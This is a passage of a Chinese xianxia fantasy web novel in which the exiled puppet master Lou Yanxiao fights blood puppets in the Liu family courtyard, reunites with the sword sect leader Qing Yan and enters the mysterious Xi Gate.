楼砚霄暗骂了一声小人,问少年道:“你来这作甚?别告诉我你是来玩的——”
少年打断他,义正言辞道:“当、当然是来抓鬼。”
“你才几岁就来抓鬼,赶紧回去睡觉。”楼砚霄轻松解开了手上的傀线,少年瞧见他的动作,眼睛不由得瞪大,后意识到自己的失态,又急忙装出一副泰然自若的模样。殊不知他的神色变化早就被楼砚霄看的一清二楚。
楼砚霄催促道:“赶紧回去罢。”
少年硬气道:“不回!”
楼砚霄笑了:“有本事待会别喊人。”
“我才不会喊人!一个普通的宅院能有什么——啊啊啊啊!”
话还未说完,他便瞧见庭院深处的长廊里出现一双绿色的眼睛。
楼砚霄顺着他未说完的话继续道:“是啊,确实没什么,顶多就是有人会自己吓自己罢了。”
“你难道就不怕吗?”少年看向他,企图从他脸上寻找出一丝害怕。
楼砚霄察觉到少年的视线,转头对他露出一个灿烂的笑。
少年:“……”
楼砚霄收了笑,抬起手,化解了少年布下的傀线,“刚才瞧你说自己是妄虚峰峰主的亲传弟子,怎么不言名讳?”
“男子汉大丈夫出门在外,行的是好事不留名,我若是留下名讳,日后若是他人来寻我该做和解?!”
听到此话,楼砚霄默默看了少年一眼,不知道清厌如此清冷高雅,怎就生出个脑
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回路清奇的儿子。
他问道:“真的不能言?”
少年瞥了他一眼,妥协道:“看在你如此迫切的模样,也不是不能言,你且记好了,我姓楼,单名一个潇,潇洒的潇,字无声。”
“你姓楼?”楼砚霄听到这个熟悉的名字,整个人不能言语,他怔怔问道:“你可知你的字是谁取的?”
少年没注意到他的异样,摇头道:“不记得了,我师父说他早就死了。”
楼砚霄还在问:“你就不想知道他是谁?”
“不想,我师父说,当年他寻到我的时候,我已经半只脚踏进鬼门关了。他为了救我,耗费了大量气运,闭关了十年近日来才出关。”
楼砚霄闭上了眼睛,心道:所以楼潇本就不是清厌亲生的,而是在百木捡回来的,可他当时离开时,分明察觉不到有活人的气息,为何清厌能寻到楼潇?不仅如此,清厌还教了楼潇傀术,他一个练剑之人怎会知道傀术?
楼砚霄心里疑惑,但也不好问楼潇,百木傀师出事那年,楼潇不过襁褓,知道的事情未必有自己多。
察觉到楼砚霄许久未说话,楼潇道:“你怎么了?是不是被我的名字惊倒了?!”
楼砚霄:“……”
虽然如此种种,他还是不能理解清厌那个性子是如何养出这样的楼潇。
“你如今傀术练到几层就敢出来行事?”再看向楼潇时,楼砚霄的眼神已然变成长辈看小辈。
楼潇对上楼砚霄的眼神,心里一悸,像是看到了自家师父,视线一往下又看到楼砚霄那身破败不堪的衣裳,又放宽了心,气定神闲地伸出了两根手指。
哪知楼砚霄一看到他比的数,脸色瞬间变了,抄起人夹在腋下就往外走。
楼潇被楼砚霄身上的味道熏了一脸,意识到自己被人夹在腋下,挣扎起来,“放开我,你这个臭要饭的!”
楼砚霄气不打一处来,怒道:“傀术才练到两层,真以为捉鬼是闹着玩,待会出去了赶紧回妄虚峰。”
“两层如何了?!那些人见着我还不是绕着我走!”
“人家那是看你是妄虚峰的人,谁没事干去惹妄虚峰的人,是嫌清厌的剑不够快吗?!”
说着,楼砚霄停下了脚步,夹在腋下的楼潇不明所以,问道:“你怎么不走了?”
言罢,就对上了不久前看到的绿眼,楼潇瞬间汗毛倒立,哆嗦道:“那……那到底是什么?”
楼砚霄放下楼潇,沉声道:“灵智开合,我们遇上诡阵了。”
楼潇好奇道:“何为诡阵?”
“你没发现,我们先前是往外走的,如今却又看见了这双眼睛,现在站的地方,分明是我们离开的地方。”楼砚霄看向冗长的廊道,越往深处便越来越黑,而那双眼睛也是越来越亮,“这便是诡阵。”
“那该如何……”
“不如何,以你傀术二层的气运是出不去的。”楼砚霄陈述道。
楼潇闻言,从袖中取出了一个玉笺,就在即将捏碎的那一刻,楼砚霄拦住他,“你这是作甚?”
楼潇想要将玉笺抢回来,偏偏没人高,怎么也拿不到玉笺,不由得气道:“当然是将我师父唤来。”
楼砚霄叹了口气,道:“安静点,我能带你出去。”
言罢,他将玉笺放入自己的袖中。现下情况紧迫,他万万是不能与清厌相见的。
且不论清厌对他的了解,单凭他死了十五年这一点,是千真万确不能让人知道他还活着。若是被人知晓,十五年前百木傀师灭族一事必定会重新翻查。
-
楼潇狐疑道:“你一个要饭的如何能破这诡阵?”
楼砚霄懒的去纠正少年的称呼,“借你傀线一用。”
“你还会傀术?”楼潇半信半疑扯出傀线给他。
“早年间游历学过一些。”楼砚霄随口道。
接过傀线,咬破指尖,挤出一滴心头血,滴在傀线上。
楼潇惊奇道:“你这施法瞧着好生奇怪。”
“没正统学过,自然比不得你。”楼砚霄云淡风轻道,“待会你就跟着这根傀线出去,切记不要回头,你若是回头,将会再次陷入诡阵。”
一番言语下来,楼潇又问道:“那你不出去?”
“我还有些事要做,你先出去——”
话没说完,就被少年打断:“欸,你腰间的铃铛怎么响了?”
听到熟悉的铃铛声,楼砚霄向来沉稳的脸色变了。
秦启出事了。
5. 自成阵眼
“叮铃铃……”
“叮铃铃……叮铃铃……”
秦启颤抖着手摇响傀线上的铃铛,目光时不时瞧向不远处的走来的黑影,心提到了嗓子眼。
他小声地祈祷:“师父,你快点来啊……”
须臾,他抬起头,心有所感地望向天边,就在此时,无月的天边闪过一道惊雷,他下意识瑟缩了身子。
倏地,他目光猛然顿住,转头看向黑影的方向,此时又是一道惊雷炸响,照亮了黑影的脸——那是双目全无的血傀,用针线缝合的脸上流着两行血泪。
然而让秦启不能动弹的是,那只血傀身后是无数只血傀,脸上皆是两行血泪,察觉有人在看他们,唇角更是扬起了一个诡异的弧度,朝向窥者。
瞧见此景,秦启瞳孔紧缩,往后爬了几步,然而不等他反应过来,原本麻木行走的血傀突然加快了行进的步伐,向他冲来。
秦启不由得摇快了铃铛,小声哭泣道:“师父,快救救我,快救救我啊……”
-
在柳家庭院的楼砚霄同样急得不行,可越是心急,诡阵越是破解不了。
一旁的楼潇惊道:“你的十指……怎么都流血了?”
此时,楼砚霄才注意到他满手都是血,滴滴答答地滴落在地上,像极了十五年前那副场景。
楼砚霄看向楼潇,问道:“你还有多少傀线?”
楼潇赶忙解下包袱,拿出一把傀线递给他。
楼砚霄接过傀线后,用傀线紧紧缠住自己的手,减少了血滴落在地上。缠好之后,他站起身,压了压腰间的铃铛,看向四周,冷声道:“诸位难道是想借我的血开戏门吗?”
“十五年前生灵涂炭,怪事百出,诸位可否想过开戏门的后果?纵横血傀为祸人间,这难道就是诸位想看到的吗?!”
他转身看向身后,道:“柳老前辈,出来吧。”
人还未至,便听到了一阵奇怪的笑声,似泉水击石的泠泠作响声,也似狂风呼啸的山石滚落声。
不多时,一位拄着扶老的老妪出现在廊道尽头,定睛一看,便能瞧见她的眼珠子慢慢变绿,像极了先前瞧见的绿眼。
老妪隔着廊道望向楼砚霄,嘴里发出奇怪的笑声:“你是何时知道我并非常人的?”
楼砚霄回道:“从你说出百木傀师四个字起。”
“试问我哪里说错,你难道不是百木傀师的?”老妪厉声道。
“我是与不是,与你何干?”楼砚霄冷笑道,“你若是想借我开戏门,那我不如给你个痛快。”
“你如何得知是我要开戏门?”
楼砚霄道:“以小镇为契,妄虚为引,强行将气运加在族中小辈上,因反噬过大,自身也受了不少影响,但为了确保小辈能够使用气运,便选择在夜间出门。”
闻言,老妪仰头狂笑起来,束发的青簪落在地上,一头白发散落。笑够了之后,一双眼暗沉沉地盯着楼砚霄,道:“那又如何,恐怕你的好徒儿如今已经葬身血傀腹中了!”
“戏门的缘中人,老朽我活了这么久也未曾遇到一个,偏偏在十五年前百木傀师出事后,竟然让老朽遇到了两个,还都是大世族,瞧见戏门的人,都是要死的!哈哈哈哈——”
两个缘中人?竟是有这么多人瞧见戏门了吗?楼砚霄思忖片刻,一抬眼,刚刚还在八尺以外的老妪瞬间来到了自己眼前。
楼砚霄后退了几步,心道不能再与此人过多纠葛,秦启那边怕是出了大事。
老妪似是看出了他的心思,讥笑道:“你那好徒儿本就不该活,你当初救下他已是违背了戏门,你如今还想救他简直痴心妄想!”
“住口!”
“这般就恼羞成怒了?”老妪将眼睛移向楼潇,笑吟吟道,“长的眉清目秀,正适合用来炼制傀儡。”
楼潇拔出腰间的剑对准她,怒道:“老妖婆,你可知道我是谁?!你敢把我练成傀儡,我师父一定把你大卸八块!”
“那要看你有没有本事走出这个庭院了!你走不出去,也无人知道这里死过人,待到天明,这里依旧是深庭大院。”
“你——”楼潇气的拿剑向她砍去,后者早已料想到他的动作,轻巧躲过,站定身子后,对楼砚霄道:“别白费力气,柳家的诡阵无人能破。”
“就算你能出去,那也是九死一生。”
楼砚霄微微一笑:“那您还是小瞧我了,这柳家的诡阵,我不仅能破,我还能创。”
他抬眸和老妪对视,眼底笑意不减,平静道:“从你走进廊道的那刻起,这便是一个新的诡阵。”
“既然大家都出不去,那便看看是谁先死。”
闻言,老妪心里大惊,怒不可遏道:“你就是一个疯子!”
楼砚霄微微颔首:“谬赞。你既说我是百木傀师,那我便做一回百木傀师!”
“疯子!”老妪呵斥道,“你当真以为我空手来的吗?!”
“当然不是。”楼砚霄一步步走向老妪,目光看似是紧紧盯着老妪,实则一直落在老妪身后,幽幽道:“我已经感受到了他们的气息。”
言罢,他对着妇人身后喝道:“还不出来吗?!”
楼潇举着剑二丈和尚摸不着头脑问道:“哪有东西?”
话语刚落,老妪身后的廊道深处缓缓走出几道身影,他们步伐统一,神情呆滞,两个没有眼珠的瞳孔望着前方,瞳孔下方流着两行血泪,许是时间已久,泪水已经干涸,永久地停留在了脸上。
楼潇从未见过此物,只瞧上一眼,手中的剑哐当一声落在地上。
楼砚霄不紧不慢地走到他身旁,捡起那柄剑,放回剑鞘中。楼潇被这动作震回了神,呆呆地望向他。
“拿好剑,跟着那根傀线出去。”楼砚霄从他身旁掠过,带起一阵风,“不要回头。”
“那你呢?”楼潇并未动作,而是反问他。
楼砚霄没有回头,“自然是解决这些‘人’。”
楼潇张口想道这些人根本不是人,可楼砚霄已然走远,不听他言,而他手中也只剩下那根沾血的傀线。
他深吸口气,凝了凝心神,顺着傀线指引的方向离去。
倏忽,他的肩上落下一记力道,拉着他往回走。
“想走?门都没有!”老妪森然的声音在身后响起,她一使劲,将少年拽回。
楼潇吓的不敢出大气,就算老妪再如何动作,他也咬着牙没回头,暗自较劲往前走。
老妪抓着他肩头的手加大了些力道,五指像是要嵌入他的血肉中。
“放!开!我!”楼潇挣扎道。
“进了诡阵的人,皆是必死无疑,单凭一根傀线也想出去——”
话还未尽,便听到外物没入血肉的声音。
老妪低头一看,心口处穿过无数根傀线,沾上血色的傀线分外刺眼。
她僵着头向后望去,只见已然走远的楼砚霄站在身后的不远处,手里缠着的傀线尽数穿过她的身体。
见她回头,楼砚霄轻轻扯了扯傀线,她整个人犹如被摆布的傀儡向后倒去。
老妪心神一震,似是想起了往事,神色惊恐道:“你!我识得你!你是——啊!”
未见楼砚霄如何动作,只听老妪怪叫了声,瞬间化为了血水。
楼潇被吓的不清,站着一动不动,再低头时,自己的脚下皆是血。
此时,楼砚霄的声音从身后传来:“走吧。”
楼潇闻言,抬起脚小心翼翼地往前走,走了许久又低下头,俨然发现脚下落了一长串触目惊心的红掌印。
-
瞧见楼潇离开了院子,楼砚霄折回身,看向不远处的血傀,收回傀线。
“十五年未见,你们倒是一点没变。”
每说一句话,便飞出去一根傀线,根根穿过血傀,落于命门处。
尽管如此,他知道这些血傀根本没有命门,他们就是死物,感觉不到疼痛,也不会死亡,达到另一种意义上的永生。
楼砚霄不知这些血傀是何人的杰作,每一只血傀都被挖去了双眼,观模样,瞧着是死前被人挖去的,还是死不瞑目。
“我不知是何人开了戏门将你们放出来,但你们确确实实该回去了。”
“这人间,不是你们该待的地方!”
话语刚落,之前一直未有动作的血傀瞬间动了,前仆后继向他扑来,口中还念念有词:“血,我们要新鲜的血……”
然而刚走了两步,便齐刷刷地停了下来,扬起诡异的笑容:“楼砚霄,十五年前你残害师门,百木傀师百人因你而丧命,你如今难道没有一丝愧意?”
“两
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年前你本是有能力救下秦家庄的人,却见死不救,你的好徒儿知道此事该作何感想?”
楼砚霄冷冷看向血傀,“看来你们在人间逗留太久,竟是生了不正的灵智!”
“今日我便将你们送回去!”
楼砚霄十指缠上傀线,断去血傀的四肢,可很快,断去的四肢重新长回来。他不信邪地施了个咒,用鲜血在地上画了个符,以为能阻拦前行的血傀,可当那些血傀踏上那道符时,原本鲜艳的符咒瞬间变成灰暗,他也跟着吐出了一口血。
他抹去唇边的血,看向血傀,心下了然——这些血傀在这十五年间俨然被人用秘术加固了一番,普通对付傀儡的法子对他们根本没用。
想到这儿,楼砚霄的眸色暗了下去。
忽地,他的脚踝被一只长指甲的手抓住,他垂眸望去,竟是先前已然化为血水的老妪!
此时的老妪已然没了生前姣好的面容,取而代之是与血傀一模一样的脸!
见状,楼砚霄心下一惊,急忙挣脱了她的桎梏。
然,一阵不同寻常的风飘来,引得庭院栽种的树摇曳飘动,交杂在风声中的,还有急促而来的脚步声。
他抬头望向四周,远远瞧见从四面八方而来的人——不,不能说那些是人,是分明已经化为血傀的人。
楼砚霄闭上了眼睛。
柳家擅长诡阵,却是极少会将自己设为阵眼,而柳老太却是如此做了。
柳老太一死,这阵便成了。
不光是阵成了,这柳家人也成了阵中人。
楼砚霄没想到柳老太做的如此之绝,柳家庭院之大,瞧着也有几百人,而如今这几百人竟是生生被炼化成了血傀。
若是面前的血傀,他还有法子解决,但要算上这四面八方而来的血傀,今夜怕是要殒身于此。
难道就没有别的法子了吗?
倏地,袖中的东西滑落掉在地上,他急忙睁开眼睛去寻,然而柳老太的手已然覆上玉笺,将其捏碎。
瞧见这一幕,他的脸色蓦然变了。
-
春堂镇三里外,秦启躲在三个傀儡身后不敢动弹,在三个傀儡之前是数不尽的血傀,他们张大着嘴,想要撕咬这三个傀儡,却怎么也咬不到。
秦启明显察觉到自从血傀靠近,傀儡自身前便形成了一道血傀无法靠近的罡气,叫那些血傀不敢靠近。
血傀撕咬不到,嘴里不停发出古怪的叫声,似是吟月长啸,额间的黑色弯月符号在声响下越来越深。
骤然,一道血汁洒在他的脸上,傀儡本是死物,流出的血自是冰凉浸人。
只一刹那,秦启便蹲在地上,一抬头便是血傀撕咬傀儡的画面,任凭他怎么摇铃铛,四下荒凉之地也没瞧见一个活人。
难道他今夜要丧命于此吗?
就在血傀将三个傀儡撕扯的不成样子向他奔来时,眼前闪过一道剑光,响起两三下挥动的剑风声,四周恢复了安静。
秦启小心翼翼睁开眼,发现眼前的血傀尽数消失,只余下一个戴着斗笠的白衣男子。
俨然是白日里来寻师父的算命的白衣人。
清厌收了剑,走向少年。
刚走至少年面前,将人扶起来,他便察觉到给楼潇保命的玉笺碎了。
他当即拎起秦启向柳家人住的方面赶去。
还未行至柳家,便瞧见前方被黑气笼罩,仔细一听,隐隐有万物嘶吼之声,竟与先前在三里外遇到的血傀的不相上下!
弗一落地,黑气中跑出一个同样穿着白衣的少年,他手里拿着带血的傀线,靴上也沾着血,看起来好不狼狈。
然而少年一看到白衣男子,劫后欢喜喊了声:“师父!”
少年自是好不容易从诡阵逃脱的楼潇。
不等白衣男子言语,一旁站着的灰头土脸,一身破烂的秦启红了眼眶:“我师父呢?”
楼潇一头雾水问道:“什么师父?你是说那个臭要饭的?”
清厌抢在秦启开口问道:“你可是用了玉笺?”
“玉笺?”楼潇更疑惑了,他挠了挠头,道:“我玉笺被人抢了去,自是没用——欸,师父!”
楼潇还未言尽,清厌便拿着剑冲进了黑气中。
清厌离开后,只余下两个少年大眼瞪小眼,面面相觑。
6. 故人归家
庭院内不似院外吵闹,安静的有些诡异。
清厌手里拿着剑,循着玉笺的方向走,倏地,走过的廊道一变,成了万丈深渊的悬崖。
他蓦然停下了脚步,望向崖边站着的男子,心口忽而发疼,一句话也说不出来。
男子手里拿着一把红纸伞,手上缠满了傀线,脸上戴着人人熟悉的穷奇鬼面,听到身后传来脚步声时,他缓缓转身望向来人,一双眼似鲜血般红。
他开口轻唤:“清厌。”
“楼……砚霄!”清厌死死盯着对方,似是隔着十五年的思念,又似对这些年毫无音信的怨念。
听到眼前人唤自己的姓名,楼砚霄动了动手里的傀线,缠上清厌的四肢,使其不得动弹。
又轻轻一扯,将人拉至身前,手指扶上对方的脸,轻笑道:“妄虚峰峰主,十五年不见,还是如此俊俏。”
说着,手顺着脸往下,一一抚过脖颈,衣襟,腰饰。
他继续道:“峰主好生挺拔,不知道是大陆上多少女子的梦中情人,不过峰主踏进这黑气中,怕是没有机会出去了。”
他又把两人的距离拉近了些,近到两人的鼻息纠缠在一起,不分彼此。
清厌没说话,依旧死死盯着他。
“峰主这般看我,是早已心悦于我——”
楼砚霄还未言尽,他的手蓦然被抓住,握着纸伞的手失了力道,落在了地上。
他看向清厌,问道:“你这是作何?”
清厌不说话。
楼砚霄心道奇怪,白日里还找自己算命,怎的夜里就哑了声。清厌自视清高,最是受不了被人挑逗,怎么自己都如此放肆还是一句话不说?
“你若是再不说话这辈子别说了——”
骤然,他的面具被轻轻往上提,唇上覆上一片温热。
似乎觉得不够般,又用力吻深了些。
面具遮住了他的眼,叫他看不清清厌的脸,手也被攥的极紧,动弹不得。
纠缠间,他的手上缠上了些许傀线,似乎是捆着清厌的。
他寻思两人动作不对,便向后退了一步,下一刻,一只手扶上他的后腰,又将他拉了回去,贴的比先前还近。
不多时,清厌将他放开,问道:“还跑吗?”
楼砚霄喘了口气,“跑什么?”
“这十五年间,你到底去了哪里?”
言罢,他挤开楼砚霄的指缝,强行与人十指相扣。
楼砚霄:“……”
这还是那个清风不染明月的妄虚峰主吗?
楼砚霄摆正面具,重新看向他,刚想出声询问他是不是被黑气影响了,然,弗一开口,吐出了一口鲜血。
“楼琢!”清厌立即用衣袖为他擦去唇角的血迹。
楼砚霄推开了他的手,自顾自将血迹擦去,笑道:“喊这么大声,听着像是我命不久矣了。”
他将人往后推了一步,拾起那把红纸伞,“回去罢。”
走时还不忘道:“今日这一吻,我日后是要讨回来的。”
“楼砚霄,柳家事我能替你解决。”
“我知你能做到,但牵涉过多,稍一不注意,小镇百人顷刻亡命。”楼砚霄慢慢走进黑气中,所过之处,黑气渐渐退散,待他离开之后又重新聚拢,遮住了他的身影,“照顾好我徒儿。”
清厌神情一怔,再抬眼时,黑气已然散去,头上的牌匾赫然写着柳府二字。
此时,身后传来声音:“师父!”
清厌转身,先看楼潇,再看秦启,心口又疼了起来。
将剑放回剑鞘中,提起两人向远处飞去。
“师父,我们这是要去哪?”察觉到清厌神情不对,楼潇急忙问道。
而另一只手的秦启却挣扎起来,“放开我!我师父还在里面!我不走!”
清厌冷冷看了他一眼,对方瞧见这个眼神立刻安分了下来,却将头转向另一边,望着黑气缠绕的柳府出神。
行了一里地,清厌将两人放下,冷声道:“你们二人起阵,待在此地不要走动,瞧见何物也不要出声,我的气运可保你们到天明。”
楼潇疑道:“师父,今夜可是有大事发生?”
清厌颔首,“春堂镇,怕是出事了。”
“怎会?我白日还瞧见好好的。”
“此事说不清楚。”清厌看向一直不说话的秦启,道,“我对你师父不是见死不救,要想彻底解决此事还得你师父亲自出手,你若不信,待到你师父出来之后你再询问。”
秦启抬头望向他,此时他的身后还背着那个大包袱,眼里也闪着泪光,“诡变我师父如何能一人应对?”
闻言,清厌便知楼砚霄并未将自己是百木傀师的事告知少年。
清厌沉声道:“你师父乃是当今大陆上第一傀师,若是连他都没有办法,那今夜春堂镇百人,算上柳家百人,只怕是沉寂无声地死去。”
秦启怔怔地听着,蓦然想起白日里师父说的小镇人印堂发黑,唯恐命不久矣……没想到变数来的这么快。
俄顷,他低声道了声好。
-
楼潇和秦启合力起阵,阵成后,清厌将气运覆于其上。
安置好两人,他便运剑向春堂镇飞去。
还未靠近,远远便瞧见平日里的安宁祥和的春堂镇已然成了黑气的天地。
他运剑停于屋上,垂眸看向底下混乱不堪的场面——百人站在长街上竞相嘶吼,他们的脸,手……暴露在外的皮肤上都有明显带血的牙印,再往下瞧,便是倒在街旁的妇孺,双目瞪圆,喉咙被人咬断,一副没了生气样。
似是察觉到活人的气息,他们纷纷转头看向站在屋顶上的清厌,更有疯狂者开始借力向清厌攀爬去。
清厌皱眉,捏了个诀祭出长剑,强大的剑气将他们震飞,倒在地上。
做完这一切,他似有所感地抬头望向远方,黑暗中很快出现一抹刺眼的白。
来人运剑来到他跟前,道:“峰主。”
清厌颔首。
来人看了眼长街之景,惊道:“峰主,这是何故?”
清厌道:“戏门诡变,一旦遭遇诡变,这一处的百姓都会变成血傀。”
“戏门?”来人疑道,不可置信地看向长街,屋下的血傀被清厌的剑气所忌惮,只敢嘶吼,不敢有所动作,他又看向清厌,将心中的猜测说出:“峰主,可是傀师的人在作怪?”
他又自顾自道:“若是傀师,百木傀师的人在十五年前已然灭族,如今血傀现世,莫非当年还有人活着?”
清厌没说话,只淡淡看了他一眼。后者瞧见他这个眼神,立即住了嘴。
半响,才听到清厌用平淡的语调道:“并非只有百木傀师的人能唤出血傀,这血傀本是千年前关押在上阳仙宫下万恶崖的魔物,后来修真界气运消散,仙宫崩塌,最后一位散仙才造出戏门,将其封印。若要论血傀,这位散仙的后人同样可开戏门。”
“我唤你们来,便是要你们将这些魔物送回戏门。”
“可是峰主,就算是集齐我们所有人的修为,戏门未必会开。”来人担忧道。
清厌道:“戏门自会有人开,你们要做的便是起封禅阵。”
“封、封禅阵?”
清厌冷声道:“封禅阵如何?”
来人用衣袖擦了擦额上的冷汗,急忙道:“峰主,这封禅阵可是上古诡阵,我们乃是正道门派,正道人如何能用诡道!甚者,封禅阵威力巨大,不是我们能开启的——”
话还未尽,一柄长剑架在颈间,只要稍一用力,便可见血。
“宋铭乘,这大陆上没人比你们宋家更懂得如何开启封禅阵,你若是不肯,冷眼旁观春堂诡变,明日你们宋家的下场便如这春堂镇一般——化为血傀,吃人肉,喝人血,生生不宁!”清厌冷冷地看着他。
此时,一个浑身是血的男孩从巷子里跑出来,哭着大喊:“不要吃我!不要吃我!不要吃我!救救我——啊!”
他的腿轻而易举被血傀抓住,血傀将他举起来,张
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大了嘴,刹那间,长剑飞来,斩断了血傀抓着男孩的手。
男孩得了救,忙不迭爬起来,继续向前跑,然而抬头望去,春堂镇长长的街道上站满了数不尽的血傀,闻到活人的气息,纷纷转头看向他。
男孩吓的跌坐在地,向后爬了几步,蓦地,他后背撞上一物,他急忙回头望去,先前抓着他的血傀站在他的身后,唇角扬起诡异骇人的笑,原先被砍去的手也恢复了原样。
“啊——”
清厌将人从血傀口中救下来,放在一旁,看向宋铭乘,道:“宋家主。”
宋铭乘也知此事兹大,他闭上了眼睛,须臾才睁开眼,缓缓吐了口气,道:“列,封禅阵,送故人归家!”
他身后的人应了声,去往了春堂镇东西南北四个方向,到了地方便打坐,运起气运,口中念诀。俄顷,春堂镇上方便出现一道亮光。
见状,宋铭乘拱手对清厌道:“封禅阵还需一个阵眼,不知峰主意下如何?”
清厌明白他的意思,微微颔首,看了眼柳家的方向,而后祭出长剑,走向春堂镇的中心处坐下。
宋铭乘同样打坐,运起气运,高声道:“七重见客,八荒逢意,九州同别,封禅阵起!”
至此,阵成。
-
柳宅里,楼砚霄撑着红纸伞一步一步走过廊道,每走一步身后便会布下数根傀线,嗅到活人气息,跟在他身后的血傀一碰到那些傀线便化作血傀,甚至来不及尖叫。
似是心有所感,他停下脚步,微抬伞,望向春堂镇,不多时,一道亮光出现。
收回目光,他又向前走去,来到柳老太的面前,蹲下身子瞧她的脸。
须臾,他淡声道:“可惜了。”
“柳家人行事光明磊落,偏生了你这么个借族人之力恢复气运的伥鬼。”他站起身,越过她往前走,迈出几步后,傀线缠住柳老太,拖着她往前走,“你既自成阵眼,那这戏门,也只能借你来开了。”
“久别生,三春同,故人归,戏门开。”他往廊道深处走去,边走边道,“百木傀师第一百零八代弟子楼琢楼砚霄,今借清平柳家妪妇开戏门,送故人归家!”
言罢,廊道尽头出现一道门,门上写着戏门二字。
楼砚霄轻笑了声,拖着柳老太,一步一步走向戏门,还未靠近,便听到了比柳宅内还大的嘶吼声。
他神态自若地推开门,走了进去。
他进去后,柳宅里的黑气消散,又恢复了当初那副安静祥和的模样,好似血傀在府中横行从未发生。
只是与先前不同的一点是,府中空无一人,一片死寂。
-
戏门开后,春堂镇里的血傀神情呆滞,纷纷往柳宅走。
在封禅阵下,他们一路无恙走到柳宅,走到廊道深处,走进了那扇门。
见此情景,宋铭乘看向清厌,想出声询问百木傀师是否还有人存活。可抬头望去,后者一言不发,只是望着柳宅。
他往下瞧了清厌的衣裳,才蓦然发觉对方衣袖上沾了不少血,清厌武功高强,自是不会让人伤及半分,那么这血……极有可能是那位能开戏门的人。
可这世间能让如此亲密对待的人会是谁?
清厌不知宋铭乘心中所想,自从戏门开后,他便有一种强烈的感觉——他与楼琢下次再见不知何时。
戏门一开,经年已过。
他望向柳宅,眼中闪过一道亮光,笑出声:“……楼琢,你的心比妄虚峰的雪还难化。”
戏门中的楼砚霄看了眼四周的黑气,心口忽然疼起来,他摸向腰间的酒壶,弗一打开,便想起来壶中无酒。
他将酒壶塞了回去,继续往前走。
走了许久,黑气已然消散,眼前的景象取而代之是一片白皑皑的雪山。
他撑着伞一步一步走上雪山,瞧见山巅处写着“妄虚”二字的亭子,走进亭中坐下。
须臾,一道苍老的声音在身后响起:“许久不见你上妄虚峰,我还以为你忘了老朽!”
7. 妄虚锁梦
闻言,楼砚霄起身,向来人做了个揖,道:“徐前辈。”
唤作徐前辈的人挥了挥衣袖,在他对面坐下,随性道:“你我二人亲近,不必多礼。”
他觑了楼砚霄一眼,“十五年未见,你这身姿倒是一点没变,老朽我在山中待了许久,面上都被寒风摧残了几分,如今倒是愈发沧桑了。”
言罢,瞧见楼砚霄面上那穷奇鬼面,语气颇为嫌弃道:“还是不肯把你那破面具摘下来吗?”
楼砚霄轻笑了声:“早些年容貌被毁,如今丑如夜叉,不好示人。”
老者哼了声:“你这小娃子最爱开玩笑,当年我将你捡回来,也不曾见你戴上这破面具,离开几年越是爱不释手了。”
“说罢,这次怎么回来如此之早,往次离开也是过了二十多年才回来,如今不过十五年,里面可是发生了什么?”老者将腰间挂的酒壶摆在桌上,又用气运变出两个琉璃杯放在二人面前,往杯中倒酒。
楼砚霄将面具取下,连同手里的红纸伞搁置在一旁。
见状,老者看了眼,瞧见他额间刺眼的红月,沉默了下来。
楼砚霄也没说话,等老者倒好酒,拿起杯子一饮而尽。
两人无声喝了几杯,老者才慢悠悠道:“这次,也不是未门吗?”
世人皆知戏门有诡,可助人成愿,可世人不知戏门单看是一个门,只有走进戏门的人才知何为门中有门。戏门又分为十二门,分别对应十二时辰,又称十二时辰门,其中未门为生门,子门为死门。
而十二时辰门中又存在诡气,也就是在盘旋于柳宅和春堂镇的黑气。十二门中,当属子门诡气最重,血傀最多。楼砚霄曾进过一次子门,在门中被九剑穿心,九死一生,好不容易出来,看见剑仍旧心有余悸。
他摇头道:“未门难寻,子门凶险,如今我一残缺之体,怕是走不完剩下的两门。”
“还没走就在这说丧气话。”
楼砚霄看了眼老者,淡声道:“前辈不也是没走完被困在妄虚吗?”
老者闻言,当即反驳道:“你如今还有牵挂,我孑然一人,出去了又能做甚,这山间有几个傀儡陪我已是桃源生活。”
“你若是想了断,那便再进一次辰门,抹去过往的存在。”老者顿声,似是想起了什么,“辰字,意喻新生,可断过往。”
楼砚霄道:“我的过往若是斩去,这世间便无人再替他们申冤,也无人再知百木傀师。我欠下太多人命,我的双手沾满了鲜血,我的命早该亡了,如今活着,也不过是凭着一口气苟且,心气已散,如何长久?”
“苍山覆雪,寒风四起,自我进入戏门起,我的命已然不是我的命,我所看到的妄虚也并非真的妄虚,世人皆言进了戏门便可得道,可世人不知这只是人的虚妄罢了。”楼砚霄重新戴上面具,打开那柄红纸伞,走进风雪中,“这妄虚一天不除,我楼琢一天不死,这世间总要有人逆向而行。既然世间无人,那我便做第一人。”
老者出声:“戏门并非你想的如此简单,但你想做什么我不拦你,只望你能从戏门中活着出来。雪山孤寂,傀儡无言,你若是死了,这雪山上便无人再与我相伴了。”
闻言,楼砚霄笑了声:“但愿如此。”
话语刚落,面前便刮起大风,细雪飘絮,漫天纷飞,不多时,周身便出现十二道门,门上分别出现十二时辰的字。
他走近一扇门前,轻轻推开,踏进去。
只一瞬间,伞上又落满了飞雪,他抬伞一看,不远处的山巅上,矗立着一座巍峨,覆满气运的宫殿。
他眯着眼瞧了宫殿好一会儿,认出了这是妄虚峰的山巅。
此时,不远处的人道:“我听闻这上面乃是万年前修真界的蓬莱仙境上阳仙宫!”
那人又道:“十几年前,妄虚峰的峰主夫人诞下一子,据说那日天降异象,后来找风水玄一算,竟是百年一遇的剑骨!”
风水玄乃是大陆上赫赫有名的命师,上知天文,下知地理,对算一事更是精通,大陆上无人能及。
他的话,大陆上的人也是深信不疑。
知晓了厉害,那人身旁的人小声问道:“他与我们年岁一般大,怕不是要与我们一起听学?”
那人摆了摆手,一脸嫌弃道:“你怎这般榆木脑袋,有如此优秀的人与我们听学,这是多少人羡慕不来的,日后归家亦或是出门历练,旁人知道我们与他相识,只会上杆子巴结我们。”
“可、可是……我听闻百木的人也来了,他们不是向来与妄虚不对付吗,如何还送小辈来妄虚听学?”
“他百木再大,有妄虚名气大吗,如今妄虚向天下人开学,若是百木的人不来,这天下的局势怕是要变了。”那人说道,斜眼瞥了少年一眼,瞧见少年抖动的身子,恨铁不成钢道,“你抖做甚?”
“我怕……”
那人拍了拍少年的肩,一脸无所谓道:“有何好怕的,给百木一百个胆子,也不敢在妄虚闹事,就算是他们敢闹事,妄虚峰是不会久留他们的,你且跟好我。”
……
楼砚霄闻言望去,瞧见那身宛若新柳出头的淡绿服饰,微微压低了伞面,遮住了二人的视线。
绿服扮相,清平柳家人。
他收回视线,举伞向前走。
初入门中,皆是幻境,门中人是感觉不到他的气息的。但他进了许多门,此次是他第一次遇到妄虚求学的幻境。
